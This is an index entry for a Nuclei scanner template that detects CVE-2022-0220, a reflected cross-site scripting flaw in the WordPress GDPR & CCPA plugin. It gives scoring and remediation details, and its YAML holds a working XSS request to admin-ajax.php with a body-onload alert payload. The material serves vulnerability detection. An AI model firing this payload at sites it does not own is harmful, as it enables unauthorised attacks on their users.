CVE-2022-0220: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
- Template: CVE-2022-0220
- Name: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
- Description: WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
- Severity: medium
- Authors: daffainfo
- Tags: cve2022, cve, wpscan, wordpress, wp-plugin, wp, xss, unauth, welaunch, vuln
- References: https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059, https://nvd.nist.gov/vuln/detail/CVE-2022-0220, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-0220
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0220.yaml
- Digest: 490a0046304402201de19aea43f179a30804a8c59c9ab8e1a66db554a21c7c984da81f5828d2a72e0220561c21847fd245b5f9ad82914796de23480869ecb767a166c0ccef0c393aa407
- Created at: 2022-08-25T06:19:11Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1552
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0220.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-116
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.0232
- Epss percentile: 0.83894
- Cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: wordpress_gdpr\&ccpa
- Vendor: welaunch
Products
| Product | Indexed | Url |
|---|---|---|
| welaunch:wordpress_gdpr&ccpa | yes | /v1/products/welaunch/wordpress_gdpr&ccpa |
Labels
- Name: WordPress GDPR & CCPA - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to session hijacking or malicious actions.
- Remediation: Update to version 1.9.27 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-0220
- Not known: requirements
```yaml
id: CVE-2022-0220
info:
name: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
author: daffainfo
severity: medium
description: |
WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
reference:
- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
- https://nvd.nist.gov/vuln/detail/CVE-2022-0220
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0220
cwe-id: CWE-116
epss-score: 0.0232
epss-percentile: 0.83894
cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: welaunch
product: wordpress_gdpr\&ccpa
framework: wordpress
tags: cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,unauth,welaunch,vuln
http:
- raw:
- |
GET /wp-admin HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "contains(header_2, 'text/html')"
- "status_code_2 == 200"
- "contains(body_2, '<body onload=alert(document.domain)>') && contains(body_2, '/wp-content/plugins/')"
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'nonce":"([0-9a-z]+)'
internal: true
part: body
digest: 490a0046304402201de19aea43f179a30804a8c59c9ab8e1a66db554a21c7c984da81f5828d2a72e0220561c21847fd245b5f9ad82914796de23480869ecb767a166c0ccef0c393aa407:922c64590222798bb761d5b6d8e72950
```